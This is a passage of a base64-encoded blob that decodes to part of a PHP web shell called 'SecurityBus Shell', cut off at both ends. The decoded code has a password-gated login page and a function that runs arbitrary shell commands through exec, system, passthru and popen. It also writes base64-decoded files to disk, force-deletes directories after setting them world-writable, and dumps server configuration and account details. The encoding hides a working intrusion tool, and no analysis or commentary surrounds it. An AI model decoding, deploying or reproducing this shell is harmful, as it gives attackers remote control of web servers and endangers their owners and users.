JCTIgPT4gYXJyYXkoJ1NlcnZlciBEb21haW4nLCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSwNCgkJMyA9PiBhcnJheSgnU2VydmVyIElQJyxnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSksDQoJCTQgPT4gYXJyYXkoJ1NlcnZlciBPUycsUEhQX09TKSwNCgkJNSA9PiBhcnJheSgnU2VydmVyIE9TIENoYXJzZXQnLCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSwNCgkJNiA9PiBhcnJheSgnU2VydmVyIFNvZnR3YXJlJywkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLA0KCQk3ID0+IGFycmF5KCdTZXJ2ZXIgV2ViIFBvcnQnLCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSwNCgkJOCA9PiBhcnJheSgnUEhQIHJ1biBtb2RlJyxzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkpLA0KCQk5ID0+IGFycmF5KCdUaGUgZmlsZSBwYXRoJyxfX0ZJTEVfXyksDQoNCgkJMTAgPT4gYXJyYXkoJ1BIUCBWZXJzaW9uJyxQSFBfVkVSU0lPTiksDQoJCTExID0+IGFycmF5KCdQSFBJTkZPJywoSVNfUEhQSU5GTyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKFwncGhwaW5mb1wnKTsiPlllczwvYT4nIDogJ05vJykpLA0KCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwNCgkJMTMgPT4gYXJyYXkoJ0FkbWluaXN0cmF0b3InLCRhZG1pbm1haWwpLA0KCQkxNCA9PiBhcnJheSgnYWxsb3dfdXJsX2ZvcGVuJyxnZXRjZmcoJ2FsbG93X3VybF9mb3BlbicpKSwNCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksDQoJCTE2ID0+IGFycmF5KCdkaXNwbGF5X2Vycm9ycycsZ2V0Y2ZnKCdkaXNwbGF5X2Vycm9ycycpKSwNCgkJMTcgPT4gYXJyYXkoJ3JlZ2lzdGVyX2dsb2JhbHMnLGdldGNmZygncmVnaXN0ZXJfZ2xvYmFscycpKSwNCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwNCgkJMTkgPT4gYXJyYXkoJ21lbW9yeV9saW1pdCcsZ2V0Y2ZnKCdtZW1vcnlfbGltaXQnKSksDQoJCTIwID0+IGFycmF5KCdwb3N0X21heF9zaXplJyxnZXRjZmcoJ3Bvc3RfbWF4X3NpemUnKSksDQoJCTIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwNCgkJMjIgPT4gYXJyYXkoJ21heF9leGVjdXRpb25fdGltZScsZ2V0Y2ZnKCdtYXhfZXhlY3V0aW9uX3RpbWUnKS4nIHNlY29uZChzKScpLA0KCQkyMyA9PiBhcnJheSgnZGlzYWJsZV9mdW5jdGlvbnMnLCRkaXNfZnVuYyksDQoJKTsNCg0KCWlmKCRwaHB2YXJuYW1lKSB7DQoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOw0KCX0NCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXJ2ZXIgZW52aXJvbm1lbnQnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3BocGVudicpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGxlYXNlIGlucHV0IFBIUCBjb25maWd1cmF0aW9uIHBhcmFtZXRlcihlZzptYWdpY19xdW90ZXNfZ3BjKScsJ25hbWUnPT4ncGhwdmFybmFtZScsJ3ZhbHVlJz0+JHBocHZhcm5hbWUsJ25ld2xpbmUnPT4xKSk7DQoJZm9ybWZvb3RlcigpOw0KDQoJJGhwID0gYXJyYXkoMD0+ICdTZXJ2ZXInLCAxPT4gJ1BIUCcpOw0KCWZvcigkYT0wOyRhPDI7JGErKykgew0KCQlwKCc8aDI+Jy4kaHBbJGFdLicgJnJhcXVvOzwvaDI+Jyk7DQoJCXAoJzx1bCBjbGFzcz0iaW5mbyI+Jyk7DQoJCWlmICgkYT09MCkgew0KCQkJZm9yKCRpPTE7JGk8PTk7JGkrKykgew0KCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsNCgkJCX0NCgkJfSBlbHNlaWYgKCRhID09IDEpIHsNCgkJCWZvcigkaT0xMDskaTw9MjM7JGkrKykgew0KCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsNCgkJCX0NCgkJfQ0KCQlwKCc8L3VsPicpOw0KCX0NCn0vL2VuZCBwaHBlbnYNCg0KZWxzZSB7DQoJbSgnVW5kZWZpbmVkIEFjdGlvbicpOw0KfQ0KDQo/Pg0KPC90ZD48L3RyPjwvdGFibGU+DQo8ZGl2IHN0eWxlPSJwYWRkaW5nOjEwcHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzBFMEUwRTtib3JkZXItdG9wOjFweCBzb2xpZCAjMEUwRTBFO2JhY2tncm91bmQ6IzBFMEUwRTsiPg0KCTxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPg0KCUNvcHlyaWdodCAoQykgMjAxNTxzdHJvbmc+IFNlY3VyaXR5QnVzIC0gPC9zdHJvbmc+QWxsIFJpZ2h0cyBSZXNlcnZlZC48L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4NCg0KPD9waHANCg0KLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClNob3cgaW5mbyBzaGVsbA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8NCg0KZnVuY3Rpb24gbSgkbXNnKSB7DQoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOw0KCWVjaG8gJG1zZzsNCgllY2hvICc8L2Rpdj4nOw0KfQ0KZnVuY3Rpb24gc2Nvb2tpZSgka2V5LCAkdmFsdWUsICRsaWZlID0gMCwgJHByZWZpeCA9IDEpIHsNCglnbG9iYWwgJGFkbWluLCAkdGltZXN0YW1wLCAkX1NFUlZFUjsNCgkka2V5ID0gKCRwcmVmaXggPyAkYWRtaW5bJ2Nvb2tpZXByZSddIDogJycpLiRrZXk7DQoJJGxpZmUgPSAkbGlmZSA/ICRsaWZlIDogJGFkbWluWydjb29raWVsaWZlJ107DQoJJHVzZXBvcnQgPSAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAxIDogMDsNCglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5bJ2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOw0KfQ0KZnVuY3Rpb24gbXVsdGkoJG51bSwgJHBlcnBhZ2UsICRjdXJwYWdlLCAkdGFibGVuYW1lKSB7DQoJJG11bHRpcGFnZSA9ICcnOw0KCWlmKCRudW0gPiAkcGVycGFnZSkgew0KCQkkcGFnZSA9IDEwOw0KCQkkb2Zmc2V0ID0gNTsNCgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsNCgkJaWYoJHBhZ2UgPiAkcGFnZXMpIHsNCgkJCSRmcm9tID0gMTsNCgkJCSR0byA9ICRwYWdlczsNCgkJfSBlbHNlIHsNCgkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0Ow0KCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRvZmZzZXQgLSAxOw0KCQkJaWYoJGZyb20gPCAxKSB7DQoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207DQoJCQkJJGZyb20gPSAxOw0KCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7DQoJCQkJCSR0byA9ICRwYWdlOw0KCQkJCX0NCgkJCX0gZWxzZWlmKCR0byA+ICRwYWdlcykgew0KCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87DQoJCQkJJHRvID0gJHBhZ2VzOw0KCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7DQoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4gJHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgLSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7DQoJCWZvcigkaSA9ICRmcm9tOyAkaSA8PSAkdG87ICRpKyspIHsNCgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsNCgkJfQ0KCQkkbXVsdGlwYWdlIC49ICgkY3VycGFnZSA8ICRwYWdlcyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgKyAxKS4nKTsiPk5leHQ8L2E+JyA6ICcnKS4oJHRvIDwgJHBhZ2VzID8gJyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kcGFnZXMuJyk7Ij5MYXN0PC9hPicgOiAnJyk7DQoJCSRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7DQoJfQ0KCXJldHVybiAkbXVsdGlwYWdlOw0KfQ0KLy8gTG9naW4gcGFnZQ0KZnVuY3Rpb24gbG9naW5wYWdlKCkgew0KPz4NCjxodG1sPg0KPGhlYWQ+DQoNCjxib2R5IGJnY29sb3I9YmxhY2sgYmFja2dyb3VuZD1odHRwOi8vaTExMjQucGhvdG9idWNrZXQuY29tL2FsYnVtcy9sNTc1L2dpdmF5L3RoX21hdHJpeC5naWY+DQoNCgkJPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIC8+DQo8dGl0bGU+U2VjdXJpdHlCdXM8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCkE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogZ3JlZW4gfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6cmVkfQ0KQTphY3RpdmUge3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCkE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyBjb2xvcjogZ3JlZW47fQ0KaW5wdXQsIHRleHRhcmVhLCBidXR0b24NCnsNCglmb250LXNpemU6IDlwdDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KCWJvcmRlci1sZWZ0OiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjNzRBMjAyOw0KfQ0KDQo8L3N0eWxlPg0KDQogICAgICAgPEJSPjxCUj4NCjxkaXYgYWxpZ249Y2VudGVyID4NCjxmaWVsZHNldCBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgcmdiKDY5LCA2OSwgNjkpOyBwYWRkaW5nOiA0cHg7d2lkdGg6NDUwcHg7Ymdjb2xvcjp3aGl0ZTthbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6dGFob21hO2ZvbnQtc2l6ZToxMHB0Ij48bGVnZW5kPjxmb250IGNvbG9yPXJlZD48Qj5Mb2dpbjwvYj48L2ZvbnQ+PC9sZWdlbmQ+DQoNCjxkaXY+DQo8Zm9udCBjb2xvcj1ncmF5Pg0KPGZvbnQgY29sb3I9eWVsbG93Pj09WyA8Qj5TZWN1cml0eUJ1cyBTaGVsbDwvQj4gXT09IDwvZm9udD48QlI+PEJSPg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCgk8c3BhbiBzdHlsZT0iZm9udDoxMHB0IHRhaG9tYTsiPlBhc3N3b3JkOiA8L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvaW5nIiB2YWx1ZT0ibG9naW4iPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQoJPC9mb3JtPg0KPEJSPg0KPD9waHANCmVjaG8gIiIuJGVycl9tZXNzLiIiOw0KPz4NCg0KCTxCPjxmb250IGNvbG9yPXJlZD4NCjxhIGhyZWY9IHZhcmllL3RhcmdldD1fYmxhbms+U2VjdXJpdHlCdXM8L2E+PEJSPjwvYj4NCg0KDQoNCg0KDQo8L2Rpdj4NCg0KDQoJPC9maWVsZHNldD4NCg0KDQoNCjwvaGVhZD4NCjwvaHRtbD4NCg0KDQo8P3BocA0KCWV4aXQ7DQoNCn0vL2VuZCBsb2dpbnBhZ2UoKQ0KDQpmdW5jdGlvbiBleGVjdXRlKCRjZmUpIHsNCgkkcmVzID0gJyc7DQoJaWYgKCRjZmUpIHsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCgkJCUBleGVjKCRjZmUsJHJlcyk7DQoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkJJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCQlAb2Jfc3RhcnQoKTsNCgkJCUBzeXN0ZW0oJGNmZSk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJCUBvYl9zdGFydCgpOw0KCQkJQHBhc3N0aHJ1KCRjZmUpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfSBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpIHsNCgkJCSRyZXMgPSAnJzsNCgkJCXdoaWxlKCFAZmVvZigkZikpIHsNCgkJCQkkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsNCgkJCX0NCgkJCUBwY2xvc2UoJGYpOw0KCQl9DQoJfQ0KCXJldHVybiAkcmVzOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKSB7DQoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsNCglyZXR1cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpOw0KfQ0KDQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpew0KCWlmKCRmcD1AZm9wZW4oJGZuYW1lLCd3JykpIHsNCgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KfQ0KDQovLyBEZWJ1Zw0KZnVuY3Rpb24gZGVidWdpbmZvKCkgew0KCWdsb2JhbCAkc3RhcnR0aW1lOw0KCSRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsNCgllY2hvICdQcm9jZXNzZWQgaW4gJy4kdG90YWx0aW1lLicgc2Vjb25kKHMpJzsNCn0NCg0KLy8gRnVuY3Rpb24gY29ubmVjdCBkYXRhYmFzZQ0KZnVuY3Rpb24gZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWU9JycsJGNoYXJzZXQ9JycsJGRicG9ydD0nMzMwNicpIHsNCglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgew0KCQlwKCc8aDI+Q2FuIG5vdCBjb25uZWN0IHRvIE15U1FMIHNlcnZlcjwvaDI+Jyk7DQoJCWV4aXQ7DQoJfQ0KCWlmKCRsaW5rICYmICRkYm5hbWUpIHsNCgkJaWYgKCFAbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsICRsaW5rKSkgew0KCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCRsaW5rICYmIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpID4gJzQuMScpIHsNCgkJaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkY2hhcnNldCksIGFycmF5KCdnYmsnLCAnYmlnNScsICd1dGY4JykpKSB7DQoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7DQoJCX0NCgl9DQoJcmV0dXJuICRsaW5rOw0KfQ0KDQovLyBBcnJheSBzdHJpcA0KZnVuY3Rpb24gc19hcnJheSgmJGFycmF5KSB7DQoJaWYgKGlzX2FycmF5KCRhcnJheSkpIHsNCgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7DQoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7DQoJCX0NCgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7DQoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCglyZXR1cm4gJGFycmF5Ow0KfQ0KDQovLyBIVE1MIFN0cmlwDQpmdW5jdGlvbiBodG1sX2NsZWFuKCRjb250ZW50KSB7DQoJJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiICAiLCAiJm5ic3A7Jm5ic3A7IiwgJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlx0IiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQoNCi8vIENobW9kDQpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpew0KCXJldHVybiBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQp9DQoNCmZ1bmN0aW9uIGdldFBlcm1zKCRmaWxlcGF0aCkgew0KCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOw0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICdzJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICdkJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICctJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICdiJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICdwJzt9DQoJZWxzZSB7JHR5cGUgPSAnPyc7fQ0KDQoJJG93bmVyWydyZWFkJ10gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQoJJG93bmVyWyd3cml0ZSddID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOw0KCSRncm91cFsncmVhZCddID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KCSRncm91cFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsNCgkkd29ybGRbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkkd29ybGRbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7DQoNCglpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbJ2V4ZWN1dGUnXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQ0KCWlmKCAkbW9kZSAmIDB4MjAwICkgeyR3b3JsZFsnZXhlY3V0ZSddID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnO30NCg0KCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsNCn0NCg0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCSRhcnJheSA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlcGF0aCkpOw0KCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsNCgkJCXJldHVybiAnIC8gPGEgaHJlZj0iIyIgdGl0bGU9IlVzZXI6ICcuJGFycmF5WyduYW1lJ10uJyYjMTMmIzEwUGFzc3dkOiAnLiRhcnJheVsncGFzc3dkJ10uJyYjMTMmIzEwVWlkOiAnLiRhcnJheVsndWlkJ10uJyYjMTMmIzEwZ2lkOiAnLiRhcnJheVsnZ2lkJ10uJyYjMTMmIzEwR2Vjb3M6ICcuJGFycmF5WydnZWNvcyddLicmIzEzJiMxMERpcjogJy4kYXJyYXlbJ2RpciddLicmIzEzJiMxMFNoZWxsOiAnLiRhcnJheVsnc2hlbGwnXS4nIj4nLiRhcnJheVsnbmFtZSddLic8L2E+JzsNCgkJfQ0KCX0NCglyZXR1cm4gJyc7DQp9DQoNCi8vIERlbGV0ZSBkaXINCmZ1bmN0aW9uIGRlbHRyZWUoJGRlbGRpcikgew0KCSRteWRpcj1AZGlyKCRkZWxkaXIpOw0KCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7DQoJCWlmKChpc19kaXIoJGRlbGRpci4nLycuJGZpbGUpKSAmJiAoJGZpbGUhPScuJykgJiYgKCRmaWxlIT0nLi4nKSkgew0KCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOw0KCQkJZGVsdHJlZSgkZGVsZGlyLicvJy4kZmlsZSk7DQoJCX0NCgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7DQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoJCQlAdW5saW5rKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJfQ0KCX0NCgkkbXlkaXItPmNsb3NlKCk7DQoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7DQoJcmV0dXJuIEBybWRpcigkZGVsZGlyKSA/IDEgOiAwOw0KfQ0KDQovLyBCYWNrZ3JvdW5kDQpmdW5jdGlvbiBiZygpIHsNCglnbG9iYWwgJGJnYzsNCglyZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsNCn0NCg0KLy8gR2V0IHBhdGgNCmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7DQoJaWYgKCRub3dwYXRoID09ICcuJykgew0KCQkkbm93cGF0aCA9ICRzY3JpcHRwYXRoOw0KCX0NCgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3BhdGgpOw0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbm93cGF0aCk7DQoJaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgew0KCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsNCgl9DQoJcmV0dXJuICRub3dwYXRoOw0KfQ0KDQovLyBHZXQgdXAgcGF0aA0KZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7DQoJJHBhdGhkYiA9IGV4cGxvZGUoJy8nLCAkbm93cGF0aCk7DQoJJG51bSA9IGNvdW50KCRwYXRoZGIpOw0KCWlmICgkbnVtID4gMikgew0KCQl1bnNldCgkcGF0aGRiWyRudW0tMV0sJHBhdGhkYlskbnVtLTJdKTsNCgl9DQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7DQoJJHVwcGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHVwcGF0aCk7DQoJcmV0dXJuICR1cHBhdGg7DQp9DQoNCi8vIENvbmZpZw0KZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7DQoJJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKTsNCglpZiAoJHJlc3VsdCA9PSAwKSB7DQoJCXJldHVybiAnTm8nOw0KCX0gZWxzZWlmICgkcmVzdWx0ID09IDEpIHsNCgkJcmV0dXJuICdZZXMnOw0KCX0gZWxzZSB7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX0NCn0NCg0KLy8gRnVuY3Rpb24gbmFtZQ0KZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7DQoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7DQp9DQoNCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7DQoJZ2xvYmFsICRkaXJkYXRhLCRqLCRub3dwYXRoOw0KCSEkaiAmJiAkaj0xOw0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOw0KCQkJaWYoJGZpbGUhPScuJyA